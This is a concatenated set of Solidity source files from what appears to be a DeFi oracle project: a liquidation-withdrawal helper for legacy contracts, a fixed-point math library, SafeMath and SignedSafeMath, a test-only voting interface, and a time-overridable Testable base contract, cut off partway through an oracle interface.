pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; // Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below). contract LiquidationWithdrawer { function withdrawLiquidation( address financialContractAddress, uint256 liquidationId, address sponsor ) public returns (FixedPoint.Unsigned memory) { return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor); } } interface IFinancialContract { function withdrawLiquidation(uint256 liquidationId, address sponsor) external returns (FixedPoint.Unsigned memory amountWithdrawn); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title Library for fixed point arithmetic on uints */ library FixedPoint { using SafeMath for uint256; using SignedSafeMath for int256; // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // For unsigned values: // This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77. uint256 private constant FP_SCALING_FACTOR = 10**18; // --------------------------------------- UNSIGNED ----------------------------------------------------------------------------- struct Unsigned { uint256 rawValue; } /** * @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`. * @param a uint to convert into a FixedPoint. * @return the converted FixedPoint. */ function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) { return Unsigned(a.mul(FP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if equal, or False. */ function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if equal, or False. */ function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the minimum of `a` and `b`. */ function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the maximum of `a` and `b`. */ function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return add(a, fromUnscaledUint(b)); } /** * @notice Subtracts two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return sub(a, fromUnscaledUint(b)); } /** * @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow. * @param a a uint256. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return sub(fromUnscaledUint(a), b); } /** * @notice Multiplies two `Unsigned`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as a uint256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because FP_SCALING_FACTOR != 0. return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR); } /** * @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a uint256. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.mul(b)); } /** * @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 mulRaw = a.rawValue.mul(b.rawValue); uint256 mulFloor = mulRaw / FP_SCALING_FACTOR; uint256 mod = mulRaw.mod(FP_SCALING_FACTOR); if (mod != 0) { return Unsigned(mulFloor.add(1)); } else { return Unsigned(mulFloor); } } /** * @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Unsigned(a.rawValue.mul(b)); } /** * @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as a uint256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.div(b)); } /** * @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a uint256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return div(fromUnscaledUint(a), b); } /** * @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR); uint256 divFloor = aScaled.div(b.rawValue); uint256 mod = aScaled.mod(b.rawValue); if (mod != 0) { return Unsigned(divFloor.add(1)); } else { return Unsigned(divFloor); } } /** * @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))" // similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned. // This creates the possibility of overflow if b is very large. return divCeil(a, fromUnscaledUint(b)); } /** * @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return output is `a` to the power of `b`. */ function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) { output = fromUnscaledUint(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } // ------------------------------------------------- SIGNED ------------------------------------------------------------- // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // For signed values: // This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76. int256 private constant SFP_SCALING_FACTOR = 10**18; struct Signed { int256 rawValue; } function fromSigned(Signed memory a) internal pure returns (Unsigned memory) { require(a.rawValue >= 0, "Negative value provided"); return Unsigned(uint256(a.rawValue)); } function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) { require(a.rawValue <= uint256(type(int256).max), "Unsigned too large"); return Signed(int256(a.rawValue)); } /** * @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`. * @param a int to convert into a FixedPoint.Signed. * @return the converted FixedPoint.Signed. */ function fromUnscaledInt(int256 a) internal pure returns (Signed memory) { return Signed(a.mul(SFP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint.Signed. * @param b a int256. * @return True if equal, or False. */ function isEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if equal, or False. */ function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a > b`, or False. */ function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a > b`, or False. */ function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a > b`, or False. */ function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a < b`, or False. */ function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a < b`, or False. */ function isLessThan(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a < b`, or False. */ function isLessThan(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the minimum of `a` and `b`. */ function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the maximum of `a` and `b`. */ function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Signed`s, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the sum of `a` and `b`. */ function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return Signed(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Signed` to an unscaled int, reverting on overflow. * @param a a FixedPoint.Signed. * @param b an int256. * @return the sum of `a` and `b`. */ function add(Signed memory a, int256 b) internal pure returns (Signed memory) { return add(a, fromUnscaledInt(b)); } /** * @notice Subtracts two `Signed`s, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the difference of `a` and `b`. */ function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return Signed(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow. * @param a a FixedPoint.Signed. * @param b an int256. * @return the difference of `a` and `b`. */ function sub(Signed memory a, int256 b) internal pure returns (Signed memory) { return sub(a, fromUnscaledInt(b)); } /** * @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow. * @param a an int256. * @param b a FixedPoint.Signed. * @return the difference of `a` and `b`. */ function sub(int256 a, Signed memory b) internal pure returns (Signed memory) { return sub(fromUnscaledInt(a), b); } /** * @notice Multiplies two `Signed`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as an int256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because SFP_SCALING_FACTOR != 0. return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR); } /** * @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint.Signed. * @param b an int256. * @return the product of `a` and `b`. */ function mul(Signed memory a, int256 b) internal pure returns (Signed memory) { return Signed(a.rawValue.mul(b)); } /** * @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) { int256 mulRaw = a.rawValue.mul(b.rawValue); int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR; // Manual mod because SignedSafeMath doesn't support it. int256 mod = mulRaw % SFP_SCALING_FACTOR; if (mod != 0) { bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0); int256 valueToAdd = isResultPositive ? int256(1) : int256(-1); return Signed(mulTowardsZero.add(valueToAdd)); } else { return Signed(mulTowardsZero); } } /** * @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Signed(a.rawValue.mul(b)); } /** * @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as an int256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b an int256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Signed memory a, int256 b) internal pure returns (Signed memory) { return Signed(a.rawValue.div(b)); } /** * @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a an int256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(int256 a, Signed memory b) internal pure returns (Signed memory) { return div(fromUnscaledInt(a), b); } /** * @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) { int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR); int256 divTowardsZero = aScaled.div(b.rawValue); // Manual mod because SignedSafeMath doesn't support it. int256 mod = aScaled % b.rawValue; if (mod != 0) { bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0); int256 valueToAdd = isResultPositive ? int256(1) : int256(-1); return Signed(divTowardsZero.add(valueToAdd)); } else { return Signed(divTowardsZero); } } /** * @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b an int256 denominator. * @return the quotient of `a` divided by `b`. */ function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) { // Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))" // similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed. // This creates the possibility of overflow if b is very large. return divAwayFromZero(a, fromUnscaledInt(b)); } /** * @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint.Signed. * @param b a uint256 (negative exponents are not allowed). * @return output is `a` to the power of `b`. */ function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) { output = fromUnscaledInt(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleInterface.sol"; import "../interfaces/VotingInterface.sol"; // A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data. abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable { using FixedPoint for FixedPoint.Unsigned; // Events, data structures and functions not exported in the base interfaces, used for testing. event VoteCommitted( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData ); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved( uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData ); struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } function rounds(uint256 roundId) public view virtual returns (Round memory); function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests) public view virtual returns (RequestState[] memory); function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "./Timer.sol"; /** * @title Base class that provides time overrides, but only if being run in test mode. */ abstract contract Testable { // If the contract is being run on the test network, then `timerAddress` will be the 0x0 address. // Note: this variable should be set on construction and never modified. address public timerAddress; /** * @notice Constructs the Testable contract. Called by child contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor(address _timerAddress) internal { timerAddress = _timerAddress; } /** * @notice Reverts if not running in test mode. */ modifier onlyIfTest { require(timerAddress != address(0x0)); _; } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set current Testable time to. */ function setCurrentTime(uint256 time) external onlyIfTest { Timer(timerAddress).setCurrentTime(time); } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { if (timerAddress != address(0x0)) { return Timer(timerAddress).getCurrentTime(); } else { return now; // solhint-disable-line not-rely-on-time } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OracleInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be 